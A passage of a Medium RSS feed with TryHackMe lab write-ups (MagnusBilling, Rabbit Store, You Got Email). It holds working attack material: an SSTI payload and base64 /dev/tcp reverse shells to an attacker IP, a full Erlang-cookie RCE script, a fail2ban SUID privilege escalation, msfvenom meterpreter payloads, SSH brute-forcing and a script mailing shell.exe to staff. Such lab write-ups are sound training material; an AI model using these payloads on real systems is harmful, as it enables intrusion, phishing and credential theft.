the nmap scan and look it up. MagnusBilling then i found this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*yN0cMfegFKmOKD5b.png" /></figure><p><a href="https://github.com/magnussolution/magnusbilling7">GitHub — magnussolution/magnusbilling7: MagnusBilling is a fast, secure, efficient, high availability, VOIP Billing.GitHub</a></p><h3>Shell as asterisk</h3><p>So MagnusBilling is a helper for the asterisk and it has the GUI we seen just now the login. Search on know exploits we can find one.</p><p><a href="https://www.rapid7.com/db/modules/exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258/">MagnusBilling application unauthenticated Remote Command Execution.Rapid7</a></p><p>I tested that and it actual works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dQH3Iphp8vzdqjrM" /></figure><h3>Shell as root.</h3><p>So after i got into the machine i check the sudo permissions and found this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8YGRUBE645gyyxe6" /></figure><p>Fail2ban-client is a command-line tool that helps in managing the Fail2ban service. Fail2ban is a security tool that protects your server from potential threats like brute-force attacks by monitoring the log files for specific patterns (typically failed login attempts) and taking action, such as temporarily banning the offending IP addresses.</p><p>With the fail2ban-client, you can interact with the Fail2ban service to perform actions such as starting or stopping jails, viewing or updating settings, and checking the status of different jails on your server. Essentially, it helps you control how your server responds to suspicious activities to keep it secure.</p><p>i have tested this but i do now find anything at first i check some files there was some sql creds we can find it here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xtKcLbXDQly8V-pC" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*iPP0y-7uI9hTInsj" /></figure><p>And also nothing was there. I also found a CPUS running i tried and test it but also nothing were there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*x-s-vXobvaLIE304" /></figure><p>Until i read more about the fail2ban-client tool so how it work is that we can set custom command to run upon some conditions. For example if some user brute-force our ssh service we can set a custom rule or script to run when it detect brute-forcing.</p><p>To set up these rule and get root shell we can do as follows.</p><pre>sudo fail2ban-client set sshd addaction pwned</pre><p>So this command basically tells fail2ban to set role or action on the sshd demon called <em>pwned</em>.</p><pre>sudo fail2ban-client set sshd action pwned actionban &quot;/bin/bash -c &#39;chmod 4777 /bin/bash&#39;&quot;</pre><p>and this command here allow for us to set pwned action as we want and as we can see here we adding suid bit to the bash file which will allow us to execute bash with permissions of its owner which is root. To trigger this action we can simple bruteforce the ssh service using hydra.</p><pre>hydra -l magnus -P ../../Downloads/rockyou.txt billing.thm ssh -t 50</pre><p>With that we wait for few seconds and check the permissions of the bash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nYhZON-_UnNC7pT3" /></figure><p>But wait if we just run bash now we gonna get same as our user right ?.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*IOXsJdzYf9IeI4p8" /></figure><p>Yeah that actually a Linux thing which drop the permissions of security reasons to avoid that we can just add -p to the command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*EexZ5c3GTRt6XIZM" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/0*O1N85w_SReMEnWhx" /></figure><h3>Conclusion.</h3><p>In the end this machine was simple and fun i have learned about fail2ban which a completely new tool on me so we can get out the machine with something new.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e3185bf92d76" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe — Rabbit Store]]></title>
            <link>https://medium.com/@jfjbn4/tryhackme-rabbit-store-0c01ac498ab7?source=rss-f262b6f35880------2</link>
            <guid isPermaLink="false">https://medium.com/p/0c01ac498ab7</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[thm-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[web-hacking]]></category>
            <dc:creator><![CDATA[pythonic01]]></dc:creator>
            <pubDate>Wed, 26 Feb 2025 12:17:10 GMT</pubDate>
            <atom:updated>2025-02-26T12:17:10.701Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe — Rabbit Store| WriteUp</h3><h3>Into</h3><p>Hello Everyone today we have new Rabbit machine Let’s get right into it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6QUkVL-Y4XOY5k7O" /></figure><h3>Enumeration.</h3><h3>Port scanning.</h3><pre>PORT      STATE SERVICE REASON         VERSION<br>22/tcp    open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   256 3f:da:55:0b:b3:a9:3b:09:5f:b1:db:53:5e:0b:ef:e2 (ECDSA)<br>| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBXuyWp8m+y9taS8DGHe95YNOsKZ1/LCOjNlkzNjrnqGS1sZuQV7XQT9WbK/yWAgxZNtBHdnUT6uSEZPbfEUjUw=<br>|   256 b7:d3:2e:a7:08:91:66:6b:30:d2:0c:f7:90:cf:9a:f4 (ED25519)<br>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILcGp6ztslpYtKYBl8IrBPBbvf3doadnd5CBsO+HFg5M<br>80/tcp    open  http    syn-ack ttl 63 Apache httpd 2.4.52<br>| http-methods: <br>|_  Supported Methods: GET HEAD POST OPTIONS<br>|_http-title: Did not follow redirect to http://cloudsite.thm/<br>|_http-server-header: Apache/2.4.52 (Ubuntu)<br>4369/tcp  open  epmd    syn-ack ttl 63 Erlang Port Mapper Daemon<br>| epmd-info: <br>|   epmd_port: 4369<br>|   nodes: <br>|_    rabbit: 25672<br>25672/tcp open  unknown syn-ack ttl 63</pre><p>So we have unusual port open but first let’s enumerate the web application.</p><p>Do not forgot to change the hosts file as the nmap results shows.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*LTjqZdpPlruZQfbA" /></figure><p>Storage.cloudsite.thm is the login require subdomain.</p><p>Going thourgh the web application nothing seems intresting but the login page shows something intresting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/0*l1m1NGUF5IP7TpVU" /></figure><p>It gives this message when we signup and login. And also if we check the application tab in the dev tool we can see JWT token set.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*IPZeWAzB43kE0jDQ" /></figure><p>So let’s check what this JWT contain. using this website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/192/0*_QI4sSZg7AMotb3F.png" /></figure><p><a href="https://jwt.io/">JWT.IO</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-cgUfRjdd_KtRqhU" /></figure><p>So after 10H of enumerate and thinking i found it with some hints. So when we send the signup request we can add additional parameter to the request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Fhh44rh6mlXayQyZ" /></figure><p>So when we create the account now we login.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PkexfcJ1i6S1NaCo" /></figure><p>Now we can just use the same JWT to access the active routes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/0*k_c8d1HCMsrJ8Bue" /></figure><h3>SSRF.</h3><p>So this page here feature some ways to upload files one of the ways is using URL so the first thing i though about was SSRF.</p><p>One thing we can not access yet is this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*e6zfp0eSwgSqh-cB" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4fvtnUYkEiEPupA8" /></figure><p>So let’s use the SSRF to access it. But first we need to know on what port does Express run. we can either enumerate the whole inner ports or we just can google it. I did both and the port was 3000.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*v6YojZQLi7pZNaOD" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/0*rJFmgAUO77yDhKUQ" /></figure><p>After we Download from the provided URL we can see this message.</p><p>We can see these endpoints the most intresting and we have not seen before was the chat bot message let use Burp to check it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*X1NAtdNKY1nhjqxa" /></figure><p>So after we capture the request and change the method into POST we will get and error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/0*0esQizaO-Auc6w-y" /></figure><p>I have suffer from this error a lot but i miss something important in the docs it says that all request need to be Json and here we only need to add the content type as json.</p><pre>Content-Type: application/json</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/0*Ti3QDezHMrtM47un" /></figure><p>So we can see the error message says It require username let’s provide one.</p><h3>SSTI &amp;&amp; Shell as azrael</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/0*8v8oikwCBCqS2_J6" /></figure><p>We can say it load our name into html so it most likely to be SSTI. Let’s use simple payload to check</p><pre>{{7*3}}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/0*GArLaQT4osyDS2th" /></figure><p>as we can see our payload has been evaluated meaning it vulnarble to SSTI.</p><p>Copy</p><pre>{&quot;username&quot;:&quot;{{ self.__init__.__globals__.__builtins__.__import__(&#39;os&#39;).popen(&#39;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2&gt;&amp;1|nc 10.11.96.110 4444 &gt;/tmp/f&#39;).read() }}&quot;}</pre><p>This reverse shell i have taken from jaxafed shout out for him great player.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/180/0*nhhvpXSyYuCnviuK.png" /></figure><p><a href="https://jaxafed.github.io/">jaxafedjaxafed</a></p><p>with that we just change to out info and we shall get shell on the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6Z18DD5-zDSCrTB-" /></figure><h3>Shell as rabbitmq</h3><p>So once we inside the machine we can start looking for the cookies for the cluster from the NMAP results in order to connect to it we need a cookies we can simple find it here.</p><p>RabbitMQ is a message broker software that facilitates communication between different parts of applications, allowing them to send and receive messages from each other. It’s often used in distributed systems to manage node interactions, ensuring that messages like tasks and data are reliably passed from sender to receiver. This improves system scalability, reliability, and architecture flexibility.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NIbl93RR9-SDI38W" /></figure><p>After a while of search i came a across this repo which has a lot of tools to break and enumerate Erlang.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*KBuL3e_keQ4FmjGb.png" /></figure><p><a href="https://github.com/gteissier/erl-matter">GitHub — gteissier/erl-matter: Erlang distribution weaknesses and toolingGitHub</a></p><p>Here we can find a way of gaining shell using our cookies. Which called shell-erldp.py</p><p>I got a lot of issues when running it. But using simple AI i was able to resolve them.</p><pre>#!/usr/bin/env python2<br>from struct import pack, unpack<br>from cStringIO import StringIO<br>from socket import socket, AF_INET, SOCK_STREAM, SHUT_RDWR<br>from hashlib import md5<br>from binascii import hexlify, unhexlify<br>from random import choice<br>from string import ascii_uppercase<br>import sys<br>import argparse<br>import erlang as erl<br>def rand_id(n=6):<br>  return &#39;&#39;.join([choice(ascii_uppercase) for c in range(n)]) + &#39;@nowhere&#39;<br>parser = argparse.ArgumentParser(description=&#39;Execute shell command through Erlang distribution protocol&#39;)<br>parser.add_argument(&#39;target&#39;, action=&#39;store&#39;, type=str, help=&#39;Erlang node address or FQDN&#39;)<br>parser.add_argument(&#39;port&#39;, action=&#39;store&#39;, type=int, help=&#39;Erlang node TCP port&#39;)<br>parser.add_argument(&#39;cookie&#39;, action=&#39;store&#39;, type=str, help=&#39;Erlang cookie&#39;)<br>parser.add_argument(&#39;--verbose&#39;, action=&#39;store_true&#39;, help=&#39;Output decode Erlang binary term format received&#39;)<br>parser.add_argument(&#39;--challenge&#39;, type=int, default=0, help=&#39;Set client challenge value&#39;)<br>parser.add_argument(&#39;cmd&#39;, default=None, nargs=&#39;?&#39;, action=&#39;store&#39;, type=str, help=&#39;Shell command to execute, defaults to interactive shell&#39;)<br>args = parser.parse_args()<br>name = rand_id()<br>sock = socket(AF_INET, SOCK_STREAM, 0)<br>assert(sock)<br>sock.connect((args.target, args.port))<br>def send_name(name):<br>  FLAGS = (<br>    0x7499c +<br>    0x01000600 # HANDSHAKE_23|BIT_BINARIES|EXPORT_PTR_TAG<br>  )<br>  return pack(&#39;!HcQIH&#39;, 15 + len(name), &#39;N&#39;, FLAGS, 0xdeadbeef, len(name)) + name<br>sock.sendall(send_name(name))<br>data = sock.recv(5)<br>assert(data == &#39;\x00\x03\x73\x6f\x6b&#39;)<br>data = sock.recv(4096)<br>(length, tag, flags, challenge, creation, nlen) = unpack(&#39;!HcQIIH&#39;, data[:21])<br>assert(tag == &#39;N&#39;)<br>assert(nlen + 19 == length)<br>challenge = &#39;%u&#39; % challenge<br>def send_challenge_reply(cookie, challenge):<br>  m = md5()<br>  m.update(cookie)<br>  m.update(challenge)<br>  response = m.digest()<br>  return pack(&#39;!HcI&#39;, len(response)+5, &#39;r&#39;, args.challenge) + response<br>sock.sendall(send_challenge_reply(args.cookie, challenge))<br><br>data = sock.recv(3)<br>if len(data) == 0:<br>  print(&#39;wrong cookie, auth unsuccessful&#39;)<br>  sys.exit(1)<br>else:<br>  assert(data == &#39;\x00\x11\x61&#39;)<br>  digest = sock.recv(16)<br>  assert(len(digest) == 16)<br>print(&#39;[*] authenticated onto victim&#39;)<br><br># Protocol between connected nodes is based on pre 5.7.2 format<br>def erl_dist_recv(f):<br>  hdr = f.recv(4)<br>  if len(hdr) != 4: return<br>  (length,) = unpack(&#39;!I&#39;, hdr)<br>  data = f.recv(length)<br>  if len(data) != length: return<br>  # Remove 0x70 from the head of the stream<br>  data = data[1:]<br>  print(&quot;Received data to parse: %s&quot; % data)  # Logging the raw data<br>  while data:<br>    try:<br>      (parsed, term) = erl.binary_to_term(data)<br>      if parsed &lt;= 0:<br>        print(&#39;Failed to parse Erlang term, raw data: %s&#39; % data)<br>        break<br>    except erl.ParseException as e:<br>      print(&#39;ParseException occurred: %s. Data: %s&#39; % (str(e), data))<br>      break<br>    print(&quot;Parsed term: %s&quot; % str(term))  # Log parsed term for debugging<br>    yield term<br>    data = data[parsed:]<br><br>def encode_string(name, type=0x64):<br>  return pack(&#39;!BH&#39;, type, len(name)) + name<br>def send_cmd_old(name, cmd):<br>  data = (unhexlify(&#39;70836804610667&#39;) + <br>    encode_string(name) + <br>    unhexlify(&#39;0000000300000000006400006400037265&#39;) +<br>    unhexlify(&#39;7883680267&#39;) + <br>    encode_string(name) + <br>    unhexlify(&#39;0000000300000000006805&#39;) +<br>    encode_string(&#39;call&#39;) +<br>    encode_string(&#39;os&#39;) +<br>    encode_string(&#39;cmd&#39;) +<br>    unhexlify(&#39;6c00000001&#39;) + <br>    encode_string(cmd, 0x6b) + <br>    unhexlify(&#39;6a&#39;) + <br>    encode_string(&#39;user&#39;))<br>  return pack(&#39;!I&#39;, len(data)) + data<br><br>def send_cmd(name, cmd):<br>  # REG_SEND control message<br>  ctrl_msg = (6,<br>    erl.OtpErlangPid(erl.OtpErlangAtom(name), &#39;\x00\x00\x00\x03&#39;, &#39;\x00\x00\x00\x00&#39;, &#39;\x00&#39;),<br>    erl.OtpErlangAtom(&#39;&#39;),<br>    erl.OtpErlangAtom(&#39;rex&#39;))<br>  msg = (<br>    erl.OtpErlangPid(erl.OtpErlangAtom(name), &#39;\x00\x00\x00\x03&#39;, &#39;\x00\x00\x00\x00&#39;, &#39;\x00&#39;),<br>    (<br>      erl.OtpErlangAtom(&#39;call&#39;),<br>      erl.OtpErlangAtom(&#39;os&#39;),<br>      erl.OtpErlangAtom(&#39;cmd&#39;),<br>      [cmd],<br>      erl.OtpErlangAtom(&#39;user&#39;)<br>    ))<br>  new_data = &#39;\x70&#39; + erl.term_to_binary(ctrl_msg) + erl.term_to_binary(msg)<br>  print(&quot;Sending command data: %s&quot; % new_data)  # Log the command being sent<br>  return pack(&#39;!I&#39;, len(new_data)) + new_data<br>def recv_reply(f):<br>  terms = [t for t in erl_dist_recv(f)]<br>  if args.verbose:<br>    print(&#39;\nReceived terms: %r&#39; % (terms))<br>  if len(terms) &lt; 2:<br>    print(&quot;Error: Unexpected number of terms received&quot;)<br>    return None<br>  answer = terms[1]<br>  if len(answer) != 2:<br>    print(&quot;Error: Unexpected structure in answer&quot;)<br>    return None<br>  return answer[1]<br><br>if not args.cmd:<br>  while True:<br>    try:<br>      cmd = raw_input(&#39;%s:%d $ &#39; % (args.target, args.port))<br>    except EOFError:<br>      print(&#39;&#39;)<br>      break<br>    sock.sendall(send_cmd(name, cmd))<br>    reply = recv_reply(sock)<br>    if reply:<br>      sys.stdout.write(reply)<br>    else:<br>      print(&quot;Failed to receive a valid reply&quot;)<br>else:<br>  sock.sendall(send_cmd(name, args.cmd))<br>  reply = recv_reply(sock)<br>  if reply:<br>    sys.stdout.write(reply)<br>  else:<br>    print(&quot;Failed to receive a valid reply&quot;)<br><br>print(&#39;[*] disconnecting from victim&#39;)<br>sock.close()</pre><p>Using this code and the cookies we found we can run this command to get poor shell.</p><p>The base64 here is just to facilitate the data transfer.</p><p>We can use reverseshell.com yo get our shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*59YeuUpT11JeviWF" /></figure><p>Copy</p><pre>./shell-erldp.py 10.10.144.176 25672 &#39;Cookies&#39; &#39;echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTEuOTYuMTEwLzg4OTkgMD4mMQ== | base64 -d | bash&#39;</pre><p>With that we just need to setup a listener and we shall get our shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/0*Af_txqvugChcqlqS" /></figure><h3>Shell as Root.</h3><p>After we get shell we can use rabbitmqctl to execute more command. We can also find a web panel for Rabbit MQ. which run on port 15672. We can use port forwarding via ssh. We just need to create ssh key and we should be ready to go. After creating the ssh key we can use this command.</p><pre>ssh -i key azrael@rabbitstore.thm -L 3000:127.0.0.1:15672</pre><p>After that we can access our localhost on port 3000 we shall find it there. It require login but we do not have creds. Since we have permission to execute rabbitmqctl we can create user for us as admin user. But it will not work as it gonna give us this error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*CLuv8_cG2CP_l1oz" /></figure><p>We just need to change the permissions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*CnWMg149R5z4i5Gj" /></figure><p>Finally we can create our user.</p><pre>rabbitmqctl add_user evil_hacker password123<br>rabbitmqctl set_user_tags evil_hacker administrator</pre><p>This shall allow us to login as root user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fCJpq_h1XM-KP-YZ" /></figure><p>We also will see admin navigation when we get there we can see a message says that the root password same as the root password here and we shall not crack sha256. To find the root password we can export the schema for the user we can find more info here.</p><p><a href="https://www.rabbitmq.com/docs/definitions">Schema Definition Export and Import | RabbitMQ</a></p><p>This command should give us the exported schema.</p><pre>rabbitmqctl export_definitions ./def<br>cat ./def</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mk4epoSLtmI9qeMP" /></figure><p>Now that we have this let’s try to crack it.</p><p>I sepnd some time but i cloud not find it so i check 0xbob writeUp i found simple python code to crack it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/48/0*GzMK749tynm4H4GE" /></figure><p><a href="https://0xb0b.gitbook.io/writeups/tryhackme/2025/rabbit-store#shell-as-azrael">Rabbit Store | Writeups</a></p><pre>import hashlib<br>import binascii<br>hash = &#39;YOUR HASH&#39;<br>def decode_rabbit_password_hash(password_hash):<br>    password_hash = binascii.a2b_base64(password_hash)<br>    decoded_hash = password_hash.hex()<br>    return decoded_hash[0:8], decoded_hash[8:]<br>print(decode_rabbit_password_hash(hash))</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*fZGGCMIpaRBVWqT6" /></figure><p>And using this password we can get Root access on the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/0*AjxdLunjsmgVX8JI" /></figure><h3>Final thoughts.</h3><p>This machine was a lot of work a lot of new stuff things i did not expect but over all was a good machine.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0c01ac498ab7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe — You Got Email| WriteUp]]></title>
            <link>https://medium.com/@jfjbn4/tryhackme-you-got-email-writeup-a621b82e20cd?source=rss-f262b6f35880------2</link>
            <guid isPermaLink="false">https://medium.com/p/a621b82e20cd</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[thm-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[phishing-attacks]]></category>
            <dc:creator><![CDATA[pythonic01]]></dc:creator>
            <pubDate>Thu, 20 Feb 2025 10:19:02 GMT</pubDate>
            <atom:updated>2025-02-20T10:19:02.069Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe — You Got Email| WriteUp</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7cxeRL2ZLyV4OuUD.png" /></figure><h3>into.</h3><p>Welcome everyone today i want to go through this Try Hack Me machine its name is quite interesting i do not like Windows machine often but this one seems interesting let’s dive into it.</p><h3>Port scanning.</h3><pre>PORT      STATE SERVICE       REASON  VERSION<br>25/tcp    open  smtp          syn-ack hMailServer smtpd<br>| smtp-commands: BRICK-MAIL, SIZE 20480000, AUTH LOGIN, HELP<br>|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY<br>110/tcp   open  pop3          syn-ack hMailServer pop3d<br>|_pop3-capabilities: USER UIDL TOP<br>135/tcp   open  msrpc         syn-ack Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn<br>143/tcp   open  imap          syn-ack hMailServer imapd<br>|_imap-capabilities: QUOTA CHILDREN SORT RIGHTS=texkA0001 CAPABILITY OK IDLE completed IMAP4 ACL IMAP4rev1 NAMESPACE<br>445/tcp   open  microsoft-ds? syn-ack<br>587/tcp   open  smtp          syn-ack hMailServer smtpd<br>| smtp-commands: BRICK-MAIL, SIZE 20480000, AUTH LOGIN, HELP<br>|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY<br>5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-title: Not Found<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>47001/tcp open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found<br>49664/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49665/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49666/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49667/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49668/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49670/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49672/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49674/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>Service Info: Host: BRICK-MAIL; OS: Windows; CPE: cpe:/o:microsoft:windows<br>Host script results:<br>| smb2-time:<br>|   date: 2025-02-20T03:30:16<br>|_  start_date: N/A<br>| p2p-conficker:<br>|   Checking for Conficker.C or higher...<br>|   Check 1 (port 41825/tcp): CLEAN (Couldn&#39;t connect)<br>|   Check 2 (port 56260/tcp): CLEAN (Couldn&#39;t connect)<br>|   Check 3 (port 64713/udp): CLEAN (Failed to receive data)<br>|   Check 4 (port 56873/udp): CLEAN (Timeout)<br>|_  0/4 checks are positive: Host is CLEAN or ports are blocked<br>| smb2-security-mode:<br>|   3:1:1:</pre><p>Look like typical windows machine unless it has SMTP, and POP3 which both are used for emails.</p><h3>The website.</h3><p>So in the machine instruction we can see that there is a domain assign to us to enumerate. But passively.</p><blockquote><em>You are a penetration tester who has recently been requested to perform a security assessment for Brik. You are permitted to perform active assessments on </em><em>MACHINE_IP and strictly passive reconnaissance on </em><a href="https://brownbrick.co/"><em>brownbrick.co</em></a><em>. The scope includes only the domain and IP provided and does not include other TLDs.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/0*WNsnCUPZHG8SqTpc" /></figure><p>in the website there is nothing interesting but these emails and names. I tried to preform some OSINT on these people but nothing i came with.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/48/0*S_emBfCpLhXUAAcU" /></figure><p><a href="https://0xb0b.gitbook.io/writeups/tryhackme/2025/you-got-mail">You Got Mail | Writeups</a></p><p>Then i check Mr. Bob walk-through to understand that we can use cewl which is a tool used for gathering password list from a website. You can check more here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*ds1WIehgW4tL5Guq.png" /></figure><p><a href="https://github.com/digininja/CeWL">GitHub — digininja/CeWL: CeWL is a Custom Word List GeneratorGitHub</a></p><pre>To get the password list.<br>cewl --lowercase https://brownbrick.co/ &gt; passwords.txt</pre><p>using hydra we can brute force the emails we find hoping to get something</p><pre>hydra -L ./possiableUsers -P ./passwords.txt gotmail.thm smtp -t 20 -V -I</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HJ860KRoedUX4vRs" /></figure><p>And as you can see we get valid credential now we can send some emails using sendEmail.</p><p>But first we need some sort of payload to get shell on the target system i used msfvenom to generate that but you can use what ever you want as long as its exe file.</p><pre>Generate the reverse shell.<br><br>msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.96.110 LPORT=8888 -f exe -o shell.exe<br><br>setting metasploit to accept the connection.<br>msfconsole<br>use multi/handler<br>set lhost &lt;your interface name&gt;<br>set lport &lt;port from the msfvenom&gt;<br>set payload windows/meterpreter/reverse_tcp<br>exploit</pre><p>i used this python code to automate the sending process for all the emails.</p><pre>import subprocess<br>emails = &quot;oaurelius@brownbrick.co tchikondi@brownbrick.co pcathrine@brownbrick.co stamatis@brownbrick.co wrohit@brownbrick.co&quot;<br>email_list = emails.split(&quot; &quot;)<br>for i in email_list:<br>    cmd = f&#39;sendEmail -f &quot;lhedvig@brownbrick.co&quot; -t {i} -u &quot;test&quot; -m &quot;test&quot; -a shell.exe -s 10.10.156.238:25 -xu &quot;lhedvig@brownbrick.co&quot; -xp &quot;bricks&quot;&#39;<br>    result = subprocess.run(cmd, shell=True, capture_output=True, text=True)<br>    print(f&quot;Email sent to: {i}, Output: {result.stdout}, Error: {result.stderr}&quot;)</pre><p>once we run this and make sure it sending the emails successfully we now wait for the connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*M6Bv0-6jcyJWQ9oC" /></figure><p>Now we can navigate to the home of the user wrohit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/914/0*ehCMG6Z_8hEd45yt" /></figure><h3>Wrohit password.</h3><p>from out same meterperter session we can use hashdump to get the ntlm hashes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vWWjUtNqdGZVytXp" /></figure><p>Let’s crack it with john.</p><pre>john --wordlist=../../Downloads/rockyou.txt ./hashes --format=nt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Gz4NOrKvbQa4CVZu" /></figure><h3>Administrator password.</h3><p>Lastly it ask us about the Administrator dashboard password.</p><p>This one quite simple searching a bit there are two interesting files for hMailServer.</p><pre>C:\Program Files (x86)\hMailServer\Database\hMailServer.sdf<br>C:\Program Files (x86)\hMailServer\Bin\hMailServer.ini</pre><p>Here they are the first one should contain the database and the second one shall contain basic configuration.</p><p>From one of them we gonna file the admin password and using john we can crack it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9DFa-FyZ_rnaPZjm" /></figure><h3>Conclusion.</h3><p>At the end this machine was fun and really easy the fishing simulation is so good and good practice i would say 🤝.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a621b82e20cd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe — Silver Platter| WriteUp]]></title>
            <link>https://medium.com/@jfjbn4/tryhackme-silver-platter-writeup-19a8e4bcba19?source=rss-f262b6f35880------2</link>
            <guid isPermaLink="false">https://medium.com/p/19a8e4bcba19</guid>
            <category><![CDATA[thm-writeup]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[thm-walkthrough]]></category>
            <dc:creator><![CDATA[pythonic01]]></dc:creator>
            <pubDate>Sun, 16 Feb 2025 10:39:46 GMT</pubDate>
            <atom:updated>2025-02-16T10:39:46.526Z</atom:updated>
